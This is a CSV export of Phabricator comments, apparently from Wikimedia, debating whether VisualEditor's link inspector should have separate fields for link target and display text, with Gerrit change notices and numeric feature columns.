246246,Customized legacy edit toolbar does not always load correctly,"Created attachment 13321
edit toolbar is showing occasionally

**Attached**: {F11590}",,,1379578978,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.105263157894737,0.8421052631578947,"Created attachment 13321
edit toolbar is showing occasionally

**Attached**: {F11590}"
55973,VisualEditor: Link input widget should have separate inputs for target and display text,"The link input widget should have separate fields for the link target and the displayed text.

From various comments at T50789

> There are essentially two ways to create a link:
> 
> […]
> 
> #2 You click the link button first, enter the target and get out of the dialog, at which point the link text (identical to chosen link target) will be entered.
> 
> […]
> With this method, the user will often have to adjust the link's text afterwards, for instance in the case of plurals or if the target article is disambiguated with parentheses. But it is not clear to the user that adjusting the link text is safe and won't create a broken link; indeed the crucial distinction between link text and link target remains obscure. (Changing a singular to a plural is especially difficult since editing links at the end is not allowed.)
> 
> I have checked the workflow of entering links in LibreOffice, Gmail and Word; they are all basically the same as in the Visual Editor, with two major differences: 
> 
> a) the dialog popup window has a clear OK button, and [T54462]
> 
> b) the dialog popup window contains separate clearly labeled boxes for the link text and the link target. 
> 
> I believe both of these changes make a lot of sense.

---
>>! In T50789#510194, @Thryduulf wrote:
> An English Wikipedia user comments that the current behaviour of the input widget is not intuitive at all:
> 
> ""I clicked the link tool while not focused on any text, to try and add a new link. I got a largely empty box with no instructions, and the next word in the article highlighted within the box.  I fiddled with it a few times, and still don't know if typing in the box A. changes the text of the link. B. allows me to select more words. C. Changes what is linked to, or D. is followed by another, nearly identical box for a secondary function""
> 
> To me this is further evidence that we need two boxes: one to enter the link target and one to enter the link display text. The second box would default to the same as the link for internal links and for external links either (ideally) the page title or (less ideally but probably easier) the filename sans extension. 
>
> See also T53438

---
>>! In T50789#510207, @Thryduulf wrote:
> Adam Cuerden comments again on the suggestion to have separate boxes for link target and link title:
> ""Yes [that would be better], but do make sure it's on the same page. Don't give one dialogue, then a second. Also, if one of the boxes is left blank, it should be auto-completed from the other box. ""
> 
> For the second part of the comment they mean that if someone gives a link target (e.g. Fish) and doesn't specify any title, produce a link: [[Fish]]
> If someone gives a link title (e.g. Hedgehog) but doesn't specify a target, produce the link: [[Hedgehog]].

--------------------------
**See Also**: T52945",Lowest,10.0,1378772640,1530193718.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-g66fda6j3q2ga6eul3do,task_description,resolved,True,c1,3,False,False,False,10,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,37.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.520408163265306,0.30612244897959184,"The link input widget should have separate fields for the link target and the displayed text.

From various comments at T50789

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

---
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

---
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

--------------------------
**See Also**: T52945"
1339048,VisualEditor: Link input widget should have separate inputs for target and display text,"Change 303956 **merged** by jenkins-bot:
[VisualEditor/VisualEditor@master] LinkAnnotationInspector: add a ""label"" field on mobile

[[https://gerrit.wikimedia.org/r/303956]]",,,1566512170,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,320,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.9705882352941178,0.7352941176470589,"Change 303956 **merged** by jenkins-bot:
[VisualEditor/VisualEditor@master] LinkAnnotationInspector: add a ""label"" field on mobile

[[GERRIT_URL]]"
1302180,VisualEditor: Link input widget should have separate inputs for target and display text,"Change 303956 restored by Esanders:
LinkAnnotationInspector: add a ""label"" field

[[https://gerrit.wikimedia.org/r/303956]]",,,1561206667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,311,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,4.190476190476191,0.8095238095238095,"Change 303956 restored by Esanders:
LinkAnnotationInspector: add a ""label"" field

[[GERRIT_URL]]"
1094491,VisualEditor: Link input widget should have separate inputs for target and display text,"The solution in T124305#4321883, which is implemented and will be live in two weeks, should effectively resolve this task.",,,1530193718,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,260,,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7272727272727275,0.9090909090909091,"The solution in T124305#4321883, which is implemented and will be live in two weeks, should effectively resolve this task."
1093364,VisualEditor: Link input widget should have separate inputs for target and display text,"Change 303956 abandoned by Jforrester:
LinkAnnotationInspector: add a ""label"" field

Reason:
It was decided to go with Iad48fb55 instead.

[[https://gerrit.wikimedia.org/r/303956]]",,,1530047719,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,260,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,9.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,4.0588235294117645,0.7941176470588235,"Change 303956 abandoned by Jforrester:
LinkAnnotationInspector: add a ""label"" field

Reason:
It was decided to go with Iad48fb55 instead.

[[GERRIT_URL]]"
1090900,VisualEditor: Link input widget should have separate inputs for target and display text,Looks like we're going with the solution Pau proposed above – please see T124305 for details.,,,1529601576,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,259,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,17.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.333333333333333,1.0,Looks like we're going with the solution Pau proposed above – please see T124305 for details.
1039954,VisualEditor: Link input widget should have separate inputs for target and display text,FYI: Issues which are caused by the lack of a clear separate visualization of both link destination and link title on the German-language Wikipedia can be seen [[ https://tools.wmflabs.org/persondata/ve.php | with this tool]].,,,1522158502,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,247,,0.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,25.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,5.0,12.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.85,0.875,FYI: Issues which are caused by the lack of a clear separate visualization of both link destination and link title on the German-language Wikipedia can be seen [[ URL | with this tool]].
1015136,VisualEditor: Link input widget should have separate inputs for target and display text,"@Pginer-WMF That looks like it would resolve at least most of the issues I have with the current set-up, and as long as it is obvious that truncation has happened when it has then there are no immediate problems with it I can see. ",,,1518921766,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,241,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,10.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,12.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,14.0,2.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.82,0.82,"SCREEN_NAME-WMF That looks like it would resolve at least most of the issues I have with the current set-up, and as long as it is obvious that truncation has happened when it has then there are no immediate problems with it I can see. "
1012896,VisualEditor: Link input widget should have separate inputs for target and display text,"One possible approach to explore would be to expose a shortcut for editing the label that results in selecting the link label in place. In this way, there is no duplication of the places used to edit the label (avoiding the issues described above) while making the entry point for editing the label more explicit. We need to be cautious for the later not to cause issues, and test with users accordingly if we decide to explore this direction anytime.

The idea is illustrated below:

{F13736398, size=full}
- A separate section of the inspector is added about the label. The current label can be cropped if too long, it is there just for reference.
- Clicking on the section hides the inspector and selects the text label inside the link for the user to type the new one.  Temporary time-based tooltip can appear to indicate to ""type the new label"" if needed.",,,1518605752,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,241,,0.0,0.0,0.0,1.5,0.5,5.0,1.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.5,1.0,0.0,6.0,14.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,1.0,0.5,0.0,5.0,1.0,0.5,0.5,0.0,0.5,0.0,0.5,0.5,0.5,0.0,0.5,2.0,0.0,0.5,0.0,0.5,0.0,16.5,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,11.0,3.5,5.0,2.0,1.0,12.5,0.0,0.0,0.0,0.0,6.5,0.5,1.0,0.0,1.5,14.0,0.0,0.0,1.0,0.0,1.5,0.0,0.5,1.0,0.0,3.0,1.0,0.0,0.0,3.9818352059925095,0.6870162297128589,"One possible approach to explore would be to expose a shortcut for editing the label that results in selecting the link label in place. In this way, there is no duplication of the places used to edit the label (avoiding the issues described above) while making the entry point for editing the label more explicit. We need to be cautious for the later not to cause issues, and test with users accordingly if we decide to explore this direction anytime.

The idea is illustrated below:

{F13736398, size=full}
- A separate section of the inspector is added about the label. The current label can be cropped if too long, it is there just for reference.
- Clicking on the section hides the inspector and selects the text label inside the link for the user to type the new one.  Temporary time-based tooltip can appear to indicate to ""type the new label"" if needed."
909554,VisualEditor: Link input widget should have separate inputs for target and display text,"I'm really not at all sure that the actual benefits of this task to the people who are at the sharp end are actually understood by the developers. There is a reason that this has been resurrected at least twice, has at least four duplicate tasks, and the requests for it continue more than 5 years after it was first requested. Indeed this is one of just two tasks (T51969 is the other, and this is far more important than that) that are standing between where we are now and VE being intuitively easy for both new and power editors to use simply and reliably for non-specialist editing in almost all reasonable circumstances without making unforced errors.

Links are utterly fundamental to the way wikis work and VE is intended to be used by inexperienced users, so it is completely and utterly mind boggling to be told that something that forces unintuitive workarounds to achieve something that should be absolutely basic skill level 0.2 (at most) will not be fixed. ",,,1502273460,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,214,,1.0,1.0,2.0,3.5,1.0,10.5,2.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,1.0,0.0,13.0,14.0,1.0,2.0,0.5,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.5,1.0,8.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.5,12.5,3.5,1.0,0.5,2.5,0.0,0.0,0.5,0.5,1.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.5,4.0,9.5,3.5,2.0,4.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.5,0.0,2.5,14.0,1.5,0.0,0.0,0.0,2.5,0.0,3.0,0.5,0.0,1.5,1.0,1.5,0.0,4.311827956989248,0.7311827956989247,"I'm really not at all sure that the actual benefits of this task to the people who are at the sharp end are actually understood by the developers. There is a reason that this has been resurrected at least twice, has at least four duplicate tasks, and the requests for it continue more than 5 years after it was first requested. Indeed this is one of just two tasks (T51969 is the other, and this is far more important than that) that are standing between where we are now and VE being intuitively easy for both new and power editors to use simply and reliably for non-specialist editing in almost all reasonable circumstances without making unforced errors.

Links are utterly fundamental to the way wikis work and VE is intended to be used by inexperienced users, so it is completely and utterly mind boggling to be told that something that forces unintuitive workarounds to achieve something that should be absolutely basic skill level 0.2 (at most) will not be fixed. "
908631,VisualEditor: Link input widget should have separate inputs for target and display text,"There is an insane amount of complexity with links in wikis due to the nature of how much they're used. Any change in this area would divert a lot of product and design time away from other projects, thus making changes here incredibly costly. Given the limited benefit of doing work here compared to other projects, this task is not going to be worked on any time soon. That is, after all, why James declined it twice. The debate here is interesting, but it is mostly academic at this point.",,,1502126282,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,214,,3.0,0.0,0.0,1.0,1.0,5.5,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,12.5,9.5,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.5,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,12.5,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,4.5,4.5,1.5,1.5,8.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,9.5,1.5,0.0,0.0,0.0,2.5,0.0,1.5,1.0,0.0,2.5,0.0,0.0,0.0,3.987843137254902,0.8309803921568628,"There is an insane amount of complexity with links in wikis due to the nature of how much they're used. Any change in this area would divert a lot of product and design time away from other projects, thus making changes here incredibly costly. Given the limited benefit of doing work here compared to other projects, this task is not going to be worked on any time soon. That is, after all, why James declined it twice. The debate here is interesting, but it is mostly academic at this point."
908630,VisualEditor: Link input widget should have separate inputs for target and display text,"There is an insane amount of complexity with links in wikis due to the nature of how much they're used. Any change in this area divert a lot of product and design time away from other projects, thus making changes here incredibly costly. Given the limited benefit of assigning work here compared to other projects, this task is not going to be worked on any time soon. That is, after all, why James declined it twice. The debate here is interesting, but it is mostly academic at this point.",,,1502126250,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,214,,4.0,0.0,0.0,1.0,1.0,8.0,2.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,15.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,6.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,14.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,4.02,0.73,"There is an insane amount of complexity with links in wikis due to the nature of how much they're used. Any change in this area divert a lot of product and design time away from other projects, thus making changes here incredibly costly. Given the limited benefit of assigning work here compared to other projects, this task is not going to be worked on any time soon. That is, after all, why James declined it twice. The debate here is interesting, but it is mostly academic at this point."
908282,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#3505027, @Whatamidoing-WMF wrote:
>> if a link targets a page that matches exactly the link label, and a user changes that label to the name of a different page, the software can suggest the target also to be updated.
> 
> That would be very annoying every time someone needs to change the ending of a link.  `[[Example]]s` is a good link.  `[[Example|Examples]]` is bearable.  Having Clippy ask you if you want to change the link from ``[[Example]]` to `[[Examples]]` every time you try to fix the grammar in a sentence is not bearable.

I think that whether the approach is annoying or not would depend on its execution, and how prominently the suggestion is presented. Clippy represents the annoying extreme of suggestion mechanisms: causing distraction as an animated character, and providing unreasonable suggestions (""what made Clippy think this could be a letter?""). In this case, the approach should be much more subtle (no animated characters) and the connection on why a suggestion is provided is quite clear (so even if it is not what you want, there is not a big surprise that the suggestion was provided). More like [[ https://www.youtube.com/watch?v=qcm0rG8EKXI | Google instant ]] than Clippy.

In that particular example, given that ""Examples"" is a redirect to ""Example"", we can probably show no suggestion at all.",,,1502096404,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,214,,1.0,0.0,0.0,1.5,1.5,4.0,2.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.5,1.0,0.0,8.5,8.5,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.5,0.0,6.0,1.5,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,5.0,0.0,0.5,0.5,0.0,0.5,9.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,6.0,6.0,8.5,4.0,2.0,9.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.0,8.5,4.5,0.5,3.5,0.0,3.0,0.0,2.0,3.0,0.0,1.0,1.0,0.0,0.5,4.0875,0.71875,"QUOTE
QUOTE
QUOTE
QUOTE

I think that whether the approach is annoying or not would depend on its execution, and how prominently the suggestion is presented. Clippy represents the annoying extreme of suggestion mechanisms: causing distraction as an animated character, and providing unreasonable suggestions (""what made Clippy think this could be a letter?""). In this case, the approach should be much more subtle (no animated characters) and the connection on why a suggestion is provided is quite clear (so even if it is not what you want, there is not a big surprise that the suggestion was provided). More like [[ URL | Google instant ]] than Clippy.

In that particular example, given that ""Examples"" is a redirect to ""Example"", we can probably show no suggestion at all."
908564,VisualEditor: Link input widget should have separate inputs for target and display text,"> if a link targets a page that matches exactly the link label, and a user changes that label to the name of a different page, the software can suggest the target also to be updated.

That would be very annoying every time someone needs to change the ending of a link.  `[[Example]]s` is a good link.  `[[Example|Examples]]` is bearable.  Having Clippy ask you if you want to change the link from `[[Example]]` to `[[Examples]]` every time you try to fix the grammar in a sentence is not bearable.",,,1502123192,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,214,,3.0,2.0,2.0,0.0,2.0,6.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,6.0,13.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,13.0,6.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.564516129032258,0.5967741935483871,"QUOTE

That would be very annoying every time someone needs to change the ending of a link.  CODE is a good link.  CODE is bearable.  Having Clippy ask you if you want to change the link from CODE to CODE every time you try to fix the grammar in a sentence is not bearable."
908228,VisualEditor: Link input widget should have separate inputs for target and display text,"> if a link targets a page that matches exactly the link label, and a user changes that label to the name of a different page, the software can suggest the target also to be updated.

That would be very annoying every time someone needs to change the ending of a link.  `[[Example]]s` is a good link.  `[[Example|Examples]]` is bearable.  Having Clippy ask you if you want to change the link from ``[[Example]]` to `[[Examples]]` every time you try to fix the grammar in a sentence is not bearable.",,,1502077881,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,214,,3.0,2.0,2.0,0.0,2.0,6.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,6.0,13.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.5238095238095237,0.6031746031746031,"QUOTE

That would be very annoying every time someone needs to change the ending of a link.  CODE is a good link.  CODE is bearable.  Having Clippy ask you if you want to change the link from `CODE to CODE every time you try to fix the grammar in a sentence is not bearable."
907272,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#3500032, @Thryduulf wrote:
>>>! In T55973#3491393, @ssastry wrote:
>> When you want to change the label, can't you just change the label text without opening the link editor? 
> There is no way for the software to know which you intend, and no way for the naive user to know which has actually happened without actively opening the link editor, but it is likely that the assumption will be that both were changed (per @Whatamidoing-WMF).

There is no way for the software to know, but the software could pay attention to some clues. As I mentioned in T55973#2792012, if a link targets a page that matches exactly the link label, and a user changes that label to the name of a different page, the software can suggest the target also to be updated. That would give visibility to the user on the mismatch between label and target, and let the user to update the target in one click if needed as some word processors do with spellcheckers.",,,1501835793,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,213,,1.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.5,3.0,0.0,0.0,0.0,0.5,0.5,0.0,1.5,13.0,0.0,2.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.5,1.0,0.0,3.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,18.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,10.5,1.5,5.0,1.5,3.0,13.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,0.5,13.0,1.5,0.0,0.0,0.0,0.5,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,3.990740740740741,0.712962962962963,"QUOTE
QUOTE
QUOTE
QUOTE

There is no way for the software to know, but the software could pay attention to some clues. As I mentioned in T55973#2792012, if a link targets a page that matches exactly the link label, and a user changes that label to the name of a different page, the software can suggest the target also to be updated. That would give visibility to the user on the mismatch between label and target, and let the user to update the target in one click if needed as some word processors do with spellcheckers."
907264,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#3491393, @ssastry wrote:
> When you want to change the label, can't you just change the label text without opening the link editor? 
The problem is that when you do that you could be intending to change the label without the link or you could be intending to change both label and link. There is no way for the software to know which you intend, and no way for the naive user to know which has actually happened without actively opening the link editor, but it is likely that the assumption will be that both were changed (per @Whatamidoing-WMF). Remember that VE is focused towards inexperienced and less-computer-literate users rather than power users, so there will be a very high proportion of users who do not know that you need to actively check what VE is doing. 

Related to this, some way of identifying in the VE editing surface whether a link is piped or not would be useful in many different scenarios. I've only just thought of this but I've run out of time to investigate whether there is an existing task for this or not, so I'll pop it on VE/F and return to it this evening.
",,,1501835075,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,213,,1.0,0.0,0.3333333333333333,1.0,1.3333333333333333,3.3333333333333335,1.6666666666666667,0.0,0.0,0.0,1.0,1.3333333333333333,0.0,0.3333333333333333,1.0,1.3333333333333333,0.3333333333333333,4.666666666666667,12.333333333333334,0.0,2.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,5.333333333333333,2.0,1.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,10.0,0.6666666666666666,2.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,4.0,4.666666666666667,6.0,3.3333333333333335,3.6666666666666665,8.666666666666666,0.0,0.0,0.0,0.0,